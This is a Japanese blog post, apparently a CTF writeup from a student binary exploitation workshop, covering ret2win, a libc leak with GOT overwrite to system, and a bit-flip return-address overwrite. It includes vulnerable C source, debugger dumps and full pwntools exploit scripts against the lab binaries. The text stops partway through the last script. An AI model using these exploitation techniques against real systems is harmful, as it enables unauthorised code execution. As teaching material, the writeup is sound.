はじめに
2025年8月21日(木)~8月22日(金)の2日間、サイバーディフェンス研究所さん主催のBinary Exploitation Workshop for Studentsに参加してきました。
1日目は主にスタックベースのBinary Exploitationの手法や仕組みを講義形式で学び、2日目の午後から学んだ内容を基にCTF形式で実践演習を行いました。
規約の関係で詳細はお伝えできませんが、講義資料はなんと270ページもあり、サイバーディフェンス研究所さんの本気を目の当たりにしました...。内容はスタックベースのメジャーなBinary Exploitationの手法と、それに付随する基礎知識を網羅的に扱っており、正直この資料を無料でいただけるだけでも価値がありすぎました。ただ、学生向けのイベントはこれが初めてだったようで、1日に270ページ分の内容を詰め込むということもあり、かなりハイテンポで進んでいきました。第2弾もあるかもしれない??ということだったので、その時はぜひ事前に公開されている講義トピックと課題の内容は最低限予習してどこが分からないのかまとめておくと更に有益なものとなると思います。pwnを始めてみたけどどの順番で勉強すればよいのか分からないといった初心者の方はもちろん、講義トピックの内容は結構知っているという中級者の方でも充実した資料、講師陣のアドバイスと後述するCTFでかなり楽しめると思います。
さて、今回は2日目の午後に行われたCTFのWriteupと、2日間通しての感想を書いていきたいと思います。
CTF概要
前置き
講義資料の難易度とCTFの難易度の差がかなり大きいです。講義資料の内容は間違いなく初心者の方でも分かるような素晴らしいものとなっていますので、今後受けるかどうか参考にする方は、CTFの難易度は気にせず受けることをお勧めします!
(なお、発想が難しいというだけで、基本的には講義で学んだ攻撃手法だけで解ける内容になっています。)
CTFはJeopardy形式で、2日目の13:30~17:30の計4時間で行われました。社員さんの方々に、事前に難易度を伺ったところ、比較的簡単で、SECCON Beginners CTFよりは…みたいな話だったため、気軽に挑んだ結果、悲惨な目に会いました笑。今回の教訓の1つは「強い方が言う簡単は簡単ではない」です。ただ、それこそSECCON Beginners CTFのよう難易度のCTFという気持ちで受けたら、非常に良問揃いで学びの多いCTFだったと思います。1
今回のCTFは、Warmupの問題が1問、Easyの問題が3問、Mediumの問題が2問、Hardの問題が2問という構成で、1位の人でもWarmup1問とEasy2問だけと半分以上は解かれずに終わりました。おそらく4時間という短い時間で、講義内容とのギャップもあり、焦ってしまった人が多いのかなと思います(自分もそうでした)。せめてWriteupを書いて素晴らしい問題であったことをお伝えしたいと思います。私はashitahahajimetenojirouで参加しました(美味しかったです)。
補足
このWriteupをアップすることで次回のWorkshopでは使えなくなり、また傾向も分かってしまうため、本来であればNGだったのですが、サイバーディフェンス研究所さんのご厚意によりWriteupを出してもよいということになりました!
サイバーディフェンス研究所さんのご厚意に深く感謝申し上げます。
なお、その関係で公開できるのはメインとなるソースコードのみです。環境等は公開できないため、お手元で試すときはぜひ色々なバージョンで動かしてみてください。
ret2win(Warmup)
概要
source code
// gcc ex10_ret2win.c -fno-stack-protector -fno-pic -no-pie -o ex10_ret2win
#include <stdio.h>
#include <stdint.h>
__attribute__((constructor))
void init(void){
    setbuf(stdout, NULL);
}
extern char *gets(char *s);
int main(void) {
    char buf[0x30];
    puts("Input exploit...");
    gets(buf);
    return 0;
}
int win(void) {
    char buf[0x100];
    FILE *fp = fopen("/flag.txt", "rb");
    fgets(buf, sizeof(buf), fp);
    fclose(fp);
    puts(buf);
    return 0;
}
security
RELRO           STACK CANARY      NX            PIE             
Partial RELRO   No canary found   NX enabled    No PIE
セキュリティ機構はNX bitのみで、gets関数という任意のサイズで入力を読み取る脆弱な関数が使われているため、Buffer Overflow(以下、BOF)の脆弱性が存在します。PIE無効であるため、win関数のアドレスを調べて、リターンアドレスをwin関数に書き換えることができればOKです。
こちらの問題は講義資料にも似たような内容が出てきたということもあり、参加者全員が正解していました。ここまでは平和でした。
解答
ans.py
from pwn import *
p = remote("localhost",10101)
elf = ELF("./ret2win")
p.recvuntil(b"Input exploit...\n")
payload = b"A" * 0x30 # fill buffer
payload += b"B" * 0x8 # fill saved rbp
payload += p64(elf.symbols["win"]) # rewrite return addr
p.sendline(payload)
p.interactive()
can-you-get-a-shell(Easy)
概要
source code
#include <stdio.h>
#include <stdint.h>
extern char *gets(char *s);
__attribute__((constructor))
void init(void){
    // setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}
int main(void) {
    char buf[0x18];
    uint64_t num = 0x1234;
    printf("num is %#lx.\n", num);
    gets(buf);
    printf("Now, num is %#lx.\n", num);
    return 0;
}
security
RELRO           STACK CANARY      NX            PIE
No RELRO        No canary found   NX enabled    No PIE
こちらは1問目同様、セキュリティ機構はNX bitのみで、gets関数が使われているためBOFの脆弱性が存在します。今回はwin関数がないため、libcの関数のアドレスをリークして、シェルを呼び出すことが目標となりそうです。No RELROであるため、あらかじめbufに/bin/sh\0を書き込んでおき、gets関数のGOTを書き換えてsystem関数に書き換えることができればいけそうなので、今回の問題のポイントはlibc leakできるかどうかとなりそうです。
なお、ここら辺から正解者が極端に減少し、この問題に関しては0solveでした。講義内容のレベルからしてまだまだ何も考えずに解けると思ってしまい、油断していました。解いているときは、「運営さん、system関数仕込み忘れてませんか?」と思っていました。順番に見ていったらおそらくこの問題が2問目にあたるため、初心者の人はここで沼にはまったと思います。
ここからは何が出来てどこに繋がりそうかちゃんと考えていく必要があるためになる問題ばかりです。
以降はdockerから持ってきたlibcを当ててから検証しています。
libc leakするために考えたアイデア(失敗)
まず自分が最初に考えた流れとしてはリターンアドレスを書き換えてROPを構築することです。PIE無効であり、printfというアドレスリークのための関数もあるため、pop rdiのようなgadgetが存在していればlibc leakすることができます。そこで、rdiレジスタ関連のgadgetを見てみると
└─$ ropper -f chal | grep rdi       
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401123: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax; 
0x0000000000401121: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax;                                                                                                                        
0x0000000000401188: add byte ptr [rax], al; mov rdi, rax; call 0x1060; nop; pop rbp; ret; 
0x000000000040118a: mov rdi, rax; call 0x1060; nop; pop rbp; ret; 
0x00000000004010e6: or dword ptr [rdi + 0x403368], edi; jmp rax; 
0x0000000000401126: sal byte ptr [rdi + rax - 0x41], 0x68; xor eax, dword ptr [rax]; jmp rax;
簡単に使えそうなものはありません。
次に思いついたアイデアは、main関数終了直前のprintf関数実行後に、rdiレジスタにlibcへのアドレスがいい感じに格納されているのではないかというものです。そこで、main関数のアセンブリを見てみます。当日はpwndbgを使用しましたが、普段はbataさんのgefを使用しているため、以降はこちらのツールでデバッグしていきます(といっても今回使用するコマンドはpwndbgでも使えるコマンドばかりですが)。
gef> disas main
Dump of assembler code for function main:
   0x0000000000401195 <+0>:     endbr64
   0x0000000000401199 <+4>:     push   rbp
   0x000000000040119a <+5>:     mov    rbp,rsp
   0x000000000040119d <+8>:     sub    rsp,0x20
   0x00000000004011a1 <+12>:    mov    QWORD PTR [rbp-0x8],0x1234
   0x00000000004011a9 <+20>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011ad <+24>:    mov    rsi,rax
   0x00000000004011b0 <+27>:    mov    edi,0x402004
   0x00000000004011b5 <+32>:    mov    eax,0x0
   0x00000000004011ba <+37>:    call   0x401070 <printf@plt>
   0x00000000004011bf <+42>:    lea    rax,[rbp-0x20]
   0x00000000004011c3 <+46>:    mov    rdi,rax
   0x00000000004011c6 <+49>:    call   0x401080 <gets@plt>
   0x00000000004011cb <+54>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011cf <+58>:    mov    rsi,rax
   0x00000000004011d2 <+61>:    mov    edi,0x402012
   0x00000000004011d7 <+66>:    mov    eax,0x0
   0x00000000004011dc <+71>:    call   0x401070 <printf@plt>
   0x00000000004011e1 <+76>:    mov    eax,0x0
   0x00000000004011e6 <+81>:    leave
   0x00000000004011e7 <+82>:    ret
main+71にブレークポイントを設置し、printf関数の実行前後でrdiレジスタの値を見てみると
[実行前]
$rdi   : 0x0000000000402012  ->  0x6d756e202c776f4e 'Now, num is %#lx.\n'
↓
[実行後]
$rdi   : 0x00007fffffffde20  ->  0x00007fffffffde50  ->  0x6d756e202c776f4e 'Now, num is 0x1234.\n'
とそれらしい値が入っていそうでしたが、vmmapコマンドで確認してみると
Start              End                Size               Offset             Perm Path
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000028000 0x0000000000000000 r-- libc.so.6                                                                                                                  
0x00007ffff7c28000 0x00007ffff7db0000 0x0000000000188000 0x0000000000028000 r-x libc.so.6                                                                                                                  
0x00007ffff7db0000 0x00007ffff7dff000 0x000000000004f000 0x00000000001b0000 r-- libc.so.6                                                                                                                  
0x00007ffff7dff000 0x00007ffff7e03000 0x0000000000004000 0x00000000001fe000 r-- libc.so.6                                                                                                                  
0x00007ffff7e03000 0x00007ffff7e05000 0x0000000000002000 0x0000000000202000 rw- libc.so.6  
libcのアドレスではないことが分かります(ここら辺は別途調査する必要がありそうです)。他の関数も同様に調査したのですが、実行後いい感じにlibcのアドレスを保持してくれる場所はありませんでした。
続いて、関数の途中に飛ばしてrdiレジスタをいい感じにセットできる場所がないか確認しました(この時点でrdiレジスタからじゃないとリークできないという考え方に陥ってしまっていたのが良くなかったです)。rdiをセットできそうな場所は2か所あり、1つ目はmain関数の
0x00000000004011bf <+42>:    lea    rax,[rbp-0x20]
0x00000000004011c3 <+46>:    mov    rdi,rax
0x00000000004011c6 <+49>:    call   0x401080 <gets@plt>
の部分、2つ目はinit関数の
0x0000000000401185 <+15>:    mov    esi,0x0
0x000000000040118a <+20>:    mov    rdi,rax
0x000000000040118d <+23>:    call   0x401060 <setbuf@plt>
の部分です。結果から言うとどちらもうまくいかず、この時点でこの問題は後回しにしていました。
gef> got
--------------- PLT / GOT - chal_patched - No RELRO ---------------
Name              | PLT            | GOT            | GOT value     
-------------------------------------------------------------- .rela.dyn --------------------------------------------------------------
__libc_start_main | Not found      | 0x000000403318 | 0x7ffff7c2a200 <__libc_start_main>
__gmon_start__    | Not found      | 0x000000403320 | 0x000000000000
-------------------------------------------------------------- .rela.plt --------------------------------------------------------------
setbuf            | 0x000000401060 | 0x000000403340 | 0x7ffff7c8f750 <setbuf>
printf            | 0x000000401070 | 0x000000403348 | 0x000000401040 <.plt+0x20>
gets              | 0x000000401080 | 0x000000403350 | 0x000000401050 <.plt+0x30>
まず、前者に関しては、rbpをgot周辺に設定することでリーク自体は可能ですが、その後がうまく続かず。後者に関してはprintf関数の出力文字数に応じてraxの値が変わることを利用してraxにgotのアドレスを設定しようとしましたが、サイズが大きすぎて送りきることができませんでした。
libc leak
でも冷静に考えると明らかに怪しい箇所があるのです。
gets(buf);
printf("Now, num is %#lx.\n", num);
gets関数実行後に再度numを表示しています。該当する箇所のアセンブリを見てみると、
0x00000000004011cb <+54>:    mov    rax,QWORD PTR [rbp-0x8]
0x00000000004011cf <+58>:    mov    rsi,rax
0x00000000004011d2 <+61>:    mov    edi,0x402012
0x00000000004011d7 <+66>:    mov    eax,0x0
0x00000000004011dc <+71>:    call   0x401070 <printf@plt>
とあり、rbp-0x8の位置に格納されているアドレスの値を表示していることが分かります。今回、gets関数のおかげでsaved rbpの値は任意の値に書き換えることができるため、rbpをgot周辺に設定した後、printf関数実行直前の場所に飛ばすことでlibc leakすることができます。なお、libc leak後はgets関数をsystem関数に書き換えてシェルを呼びたいので、2つ目のprintf関数の直前ではなく、1つ目のprintf関数の直前に飛ばしていきます。
流れは以下の通りです。
- BOFでsaved rbpをgets@got+0x8に、リターンアドレスをmain+0x20に書き換える
- rbpにgets@got+0x8がセットされている状態でrbp-0x8の位置に格納されているアドレスの値が出力されるため、gets@gotよりgets関数のlibcをリークすることができる
- 2回目のgets関数でgets@gotをsystem関数に書き換えつつ、saved rbpには適当な値を、リターンアドレスにはmain+42を設定する(なお、その前に後述する理由からstack pivotする必要有)。なお、このとき、saved rbpに設定した箇所-0x20の位置に/bin/sh\0が来るように調整する
- 3回目のgets関数呼び出しのときにはsystem("/bin/sh\0")と同等のことを行うのでシェルを奪うことができる
system関数呼び出し時のスタックフレームについて
上記の流れで基本的には大丈夫なのですが、1つだけ注意点があります。それは、system関数呼び出し時に使用するスタックフレームのサイズです。関数を呼び出すときはプロローグ処理を行い、スタック領域を確保するのですが、system関数は確保するスタック領域がかなり大きいです。
0x7fd668c582d0:      push   r13
0x7fd668c582d2:      mov    edx,0x1
0x7fd668c582d7:      push   r12
0x7fd668c582d9:      mov    r12,rdi
0x7fd668c582dc:      push   rbp
0x7fd668c582dd:      push   rbx
0x7fd668c582de:      sub    rsp,0x388
0x7fd668c582e5:      mov    rax,QWORD PTR fs:0x28
0x7fd668c582ee:      mov    QWORD PTR [rsp+0x378],rax
今回のバージョンで言えば大体0x3a0前後のスタック領域を確保しています。つまり、現在のrspを基準に、rsp-0x3a0~rspの間は読み書き可能で、書き換わってしまっても問題ない場所でなければいけません。これを踏まえた上で、流れの3番でリターンアドレスをmain+42に設定するときのrspを確認してみます。
$rax   : 0x0000000000000000
$rbx   : 0x00007ffd91683dc8  ->  0x00007ffd9168447e  ->  0x616b2f656d6f682f 'fil[...]'
$rcx   : 0x0000000000000000
$rdx   : 0x0000000000000000
$rsp   : 0x0000000000403360 <__dso_handle>  ->  0x00007feb01925d91 <preadv64+0x21>  ->  0x550000441f0fc35e
$rbp   : 0x00000000004036d0  ->  0x0000000000000000
$rsi   : 0x00007ffd91683b00  ->  0x6d756e202c776f4e 'Now, num is 0x7feb01858750.\n'
$rdi   : 0x00007ffd91683ad0  ->  0x00007ffd91683b00  ->  0x6d756e202c776f4e 'Now, num is 0x7feb01858750.\n'
$rip   : 0x00000000004011e7 <main+0x52>  ->  0xec8348fa1e0ff3c3
$r8    : 0x000000000000001c
$r9    : 0x0000000000000000
$r10   : 0x0000000000000001
$r11   : 0x0000000000000202
$r12   : 0x0000000000000001
$r13   : 0x0000000000000000
$r14   : 0x0000000000403140 <__do_global_dtors_aux_fini_array_entry>  ->  0x0000000000401140 <__do_global_dtors_aux>  ->  0x22253d80fa1e0ff3
$r15   : 0x00007feb01a79000 <_rtld_global>  ->  0x00007feb01a7a2e0  ->  0x0000000000000000
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
rspの値は0x0000000000403360であることが分かりました。続いて、メモリマップを確認してみると、
Start              End                Size               Offset             Perm Path
0x00000000003fe000 0x00000000003ff000 0x0000000000001000 0x0000000000000000 rw- chal_patched
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000002000 r-- chal_patched
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000003000 r-x chal_patched  <-  $rip
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000004000 r-- chal_patched
0x0000000000403000 0x0000000000404000 0x0000000000001000 0x0000000000004000 rw- chal_patched  <-  $rsp, $rbp, $r14
0x0000000000403000~0x0000000000404000の間はw権限が付いていますが、0x0000000000402000~0x0000000000403000はw権限が付いていません。つまり最低限ここは避けなければいけません。実際には0x0000000000403000以降でも使われている領域があるため、書き換えても問題のない領域を基準に0x3a0バイト程度の余裕を持った値をrspに設定する必要があります。これはpop rbp; ret、leave; retのようなgadgetを見つけてstack pivotをしても良いですし、retのgadgetでrspを増やすというのも手だと思います。今回は後者の方法でスタック用の領域を確保しました。
解答
以降、テンプレートを使用しているため見にくいかと思いますが、だいたいp = start()あたりからスタートしています。ローカルで建てたDockerに接続するときはpython3 ans.py EXE=chal LIBC REMOTE=localhost:1337のように実行します。
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0  
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される 
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+49
continue
'''.format(**locals())
def padu64(b): 
    while len(b) < 8: 
        b = b + b"\x00" 
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
p = start()
# phase1 libc leak
ru(".\n")
payload = b"A" * 0x20
payload += p64(elf.got["gets"] + 0x8) # saved rbp
payload += p64(elf.symbols["main"] + 20) # return addr
sl(payload)
rl() #1つ目の出力は正常の出力なので無視
ru("num is ")
libc.address = int(rl().split(b".")[0],16) - libc.symbols["gets"]
show_addr(libc.address)
rop_ret = libc.address + 0x000000000002882f
rop_pop = libc.address + 0x0000000000125d91 # pop rsi; ret;
# phase2 got overwrite & call system
payload = b"B" * 0x8
payload += p64(libc.symbols["setbuf"]) # setbuf@gotはそのまま
payload += p64(libc.symbols["printf"]) # printf@gotもそのまま
payload += p64(libc.symbols["system"]) # gets@got→system
payload += p64(elf.got["gets"] + 0x380) # saved rbp
payload += p64(rop_pop) # return addr
payload += p64(libc.symbols["_IO_2_1_stdout_"]) #間にstdoutのgotがあり、これは書き換えるとまずいので注意
payload += p64(rop_ret) * 103
payload += p64(elf.symbols["main"] + 42)
payload += b"/bin/sh\0"
sl(payload)
p.interactive()
flipmap(Easy)
概要
source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAP_SIZE 16
void shell() {
    execve("/bin/sh", NULL, NULL);
}
void print_map(char *map) {
    int count = 0;
    for (int y = 0; y < MAP_SIZE; y++) {
        for (int x = 0; x < MAP_SIZE / 8; x++) {
            for (int b = 7; b >= 0; b--) {
                int bit = (map[y * (MAP_SIZE / 8) + x] >> b) & 1;
                printf("%d", bit);
                if (bit) count++;
            }
        }
        printf("\n");
    }
    if (count >= 10) {
        printf("Congratulations!\n");
        exit(0);
    }
}
void chal(int max_rewrite) {
    char map[(MAP_SIZE / 8) * MAP_SIZE];
    int x, y;
    memset(map, 0, sizeof(map));
    print_map(map);
    for (int i = 0; i < max_rewrite; i++) {
        printf("Pos> ");
        if (scanf("%d %d", &x, &y) < 2) break;
        char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
        tmp ^= 1 << (7 - (x % 8));
        map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
        print_map(map);
    }
}
int main(int argc, char *argv[]) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    chal(1);
}
security
RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    PIE enabled
shell関数が用意されているため、この関数を呼び出すことが目標となります。脆弱性は若干分かりづらいですが、chal関数で宣言されているchar型の配列mapにおいて範囲外参照ができる点です。PIEは有効ですが、末尾のオフセットは変わらず、それぞれの関数も隣接しているため、main関数へのリターンアドレスをshell関数のアドレスに書き換えることでシェルを呼べそうです。
mapの参照方法とビット反転
通常、2次元のmapを扱うときはmap[y][x]のような構造になっていて(y,x)に相当することが多いです。今回の問題においても一見するとそのように見えますが正確には違います。
└─$ ./flipmap     
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
Pos> 1 1
0000000000000000
0100000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
Pos> 1 1を実行すると該当する箇所にbitが立ちます。アクセス方法を見てみると、
#define MAP_SIZE 16
printf("Pos> ");
if (scanf("%d %d", &x, &y) < 2) break;
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
yを固定したとき、xが0~7のときは同じ場所にアクセスすることが分かります。また、MAP_SIZEは16であることから、yは2ずつ増えることが分かります。続いて、mapを表示している部分を見てみると、
for (int y = 0; y < MAP_SIZE; y++) {
    for (int x = 0; x < MAP_SIZE / 8; x++) {
        for (int b = 7; b >= 0; b--) {
            int bit = (map[y * (MAP_SIZE / 8) + x] >> b) & 1;
            printf("%d", bit);
            if (bit) count++;
        }
    }
    printf("\n");
}
map[n]に格納されている1バイトの値の各bitを表示しています。つまり、今回の表は
00000000 00000000 ←map[0]の7~0bit  map[1]の7~0bit
01000000 00000000 ←map[2]の7~0bit  map[3]の7~0bit
00000000 00000000 ←…
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000
00000000 00000000 ←map[30]の7~0bit  map[31]の7~0bit
のような構成となっていたのです。yはmapの何行目かに対応していて、xは何bit目か(ただし(7 - (x % 8))の位置)に対応していることが分かりました。これを踏まえた上で、続きのコードを見てみると
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
tmp ^= 1 << (7 - (x % 8));
map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
対象の場所に格納されている1バイトを取得し、xで指定したbitの位置をXORを用いて反転し、元の場所に格納しています。
範囲外参照を用いた変数の書き換え
今回はx、yともに好きな値を入力することができるため、好きな場所1バイトに格納されている値を1bit単位で自由に反転させることができます。しかし、
void chal(int max_rewrite) {
    char map[(MAP_SIZE / 8) * MAP_SIZE];
    int x, y;
    memset(map, 0, sizeof(map));
    print_map(map);
    for (int i = 0; i < max_rewrite; i++) {
        printf("Pos> ");
        if (scanf("%d %d", &x, &y) < 2) break;
        char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
        tmp ^= 1 << (7 - (x % 8));
        map[y * MAP_SIZE / 8 + (x / 8)] = tmp;
        print_map(map);
    }
}
この反転作業はmax_rewrite回しかできません。よってまずはこのmax_rewriteの値を増やすことから始めます。まずはそれぞれのローカル変数の配置関係を見てみましょう。
gef> disas chal
Dump of assembler code for function chal:
   0x00000000000012a5 <+0>:     push   rbp
   0x00000000000012a6 <+1>:     mov    rbp,rsp
   0x00000000000012a9 <+4>:     sub    rsp,0x50
   0x00000000000012ad <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000000012b0 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x00000000000012b9 <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000012bd <+24>:    xor    eax,eax
   0x00000000000012bf <+26>:    lea    rax,[rbp-0x30]
   0x00000000000012c3 <+30>:    mov    edx,0x20
   0x00000000000012c8 <+35>:    mov    esi,0x0
   0x00000000000012cd <+40>:    mov    rdi,rax
   0x00000000000012d0 <+43>:    call   0x1070 <memset@plt>
chal関数のmemset関数を呼び出しているところを見てみると、第1引数にmapへのアドレスを格納しています。今回はUnix系OSの環境であるため、rdiレジスタに格納されていて、辿るとrbp-0x30の位置に格納されていることが分かります。また、今回のchal関数の第1引数にmax_rewriteが渡されるため、rdi(edi)レジスタをスタックに格納している部分を見てみると、rbp-0x44の位置に格納していることが分かりました。通常であれば下位の方にある値にはアクセスできませんが、今回は負のインデックスも指定できるためアクセス可能です。
では具体的にどのような値を指定すればrbp-0x44に向けることができそうか見ていきたいと思います。まず、(x,y) = (0,0)を指定するとmap[0]になり、これはrbp-0x30の場所が参照されます。今回書き換えたい場所はmap[0]を基準に-0x14の位置にあります。よって、map[-0x14]のような指定ができればよいでしょう。なお、xに関しては後程どこのbitを反転させるかで使用するため、極力yを使って目的の場所を指定します。
char tmp = map[y * MAP_SIZE / 8 + (x / 8)];
xに関しては0~7であれば(x / 8)の部分は0になるため、y * MAP_SIZE / 8の部分で-0x14(=-20)を作ります。MAP_SIZE / 8は2であるため、yには-10を指定してあげれば良さそうです。続いてxですが、
tmp ^= 1 << (7 - (x % 8));
実際に反転するのは(7 - (x % 8))の位置であることに注意して考えます。今回は1が設定されているはずなので、2進数で00000001となっているはずです。特に何も考えないでindexの7bit目を立ててもよいのですが、今回、chal関数のリターンアドレスを書き換える関係で、書き換えた後はchal関数を終わらせる必要があります。なので、すぐに終われる丁度いい値に設定します。8回程度あれば十分なので、index3のところを反転させることにしました。つまり、xには4を設定します。
なお、
if (scanf("%d %d", &x, &y) < 2) break;
の部分で適当な値を入れることで抜けることができるため、そこまで気にする必要はありませんでした。
リターンアドレス書き換え
続いてchal関数のリターンアドレスを書き換えます。今回は書き換え処理の部分はループしているため、リターンアドレスを書き換えてもすぐには飛ばないので問題ありません。先ほどの調査でmapはrbp-0x30の位置にあることが分かりました。saved rbpがあることに注意しつつ、リターンアドレスの位置を考えると、rbp+0x8の位置にあるはずです。つまり、今度はmap[0x38]にアクセスすると、リターンアドレスの末尾1バイト(リトルエンディアンを考慮)を参照することができるはずです。PIEは有効ですが、末尾12bitはページアライメントの関係で一致しているはずなので、オフセットが分かれば近辺の関数に飛ばすことができます。また、通常は1バイトごとに書き換えますが、今回は1bitごとに書き換えることができるため、正確に飛ばすことができます。
では、どこをどのように書き換えればよいのか調べてみましょう。chal関数にブレークポイントを設置し、呼び出し直後のスタックを見てみると
--------------------------------------------------------------------------------------------------------------------------- stack ----
$rsp  0x7fffffffe068|+0x0000|+000: 0x000055555555541b <main+0x55>  ->  0x00c3c900000000b8  <-  retaddr[1]
      0x7fffffffe070|+0x0008|+001: 0x00007fffffffe198  ->  0x00007fffffffe476  ->  0x616b2f656d6f682f 'flipmap'  <-  $rbx
      0x7fffffffe078|+0x0010|+002: 0x00000001ffffe110
$rbp  0x7fffffffe080|+0x0018|+003: 0x0000000000000001
      0x7fffffffe088|+0x0020|+004: 0x00007ffff7dd7ca8 <__libc_start_call_main+0x78>  ->  0xe800018691e8c789  <-  retaddr[2]
      0x7fffffffe090|+0x0028|+005: 0x00007fffffffe180  ->  0x00007fffffffe188  ->  0x0000000000000038
      0x7fffffffe098|+0x0030|+006: 0x00005555555553c6 <main>  ->  0x10ec8348e5894855
      0x7fffffffe0a0|+0x0038|+007: 0x0000000155554040
リターンアドレス先は0x000055555555541bであることが分かりました。続いてshell関数のアドレスを調べてみると
gef> disas shell 
Dump of assembler code for function shell:
   0x00005555555551b9 <+0>:     push   rbp
   0x00005555555551ba <+1>:     mov    rbp,rsp
   0x00005555555551bd <+4>:     lea    rax,[rip+0xe40]        # 0x555555556004
   0x00005555555551c4 <+11>:    mov    edx,0x0
   0x00005555555551c9 <+16>:    mov    esi,0x0
   0x00005555555551ce <+21>:    mov    rdi,rax
   0x00005555555551d1 <+24>:    call   0x555555555090 <execve@plt>
   0x00005555555551d6 <+29>:    nop
   0x00005555555551d7 <+30>:    pop    rbp
   0x00005555555551d8 <+31>:    ret
0x00005555555551b9であることが分かりました。よって、末尾1バイト目を0x1b→0xb9に、末尾2バイト目を0x54→0x51にする必要があります。2進数でどこを変更するべきか見てみましょう。
00011011 (0x1b)    01010100 (0x54)
↓                  ↓
10111001 (0xb9)    01010001 (0x51)
末尾1バイト目の方は、1,5,7bit目を反転する必要があり、末尾2バイト目の方は、0,2bit目を反転する必要があります。先ほどの調査で、末尾1バイト目はmap[0x38]でアクセスできることが分かったので、末尾2バイト目はmap[0x39]にアクセスすればよいでしょう。
リターンアドレス書き換え後は残り回数を適当に消費すればOKです。
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0  
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される 
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
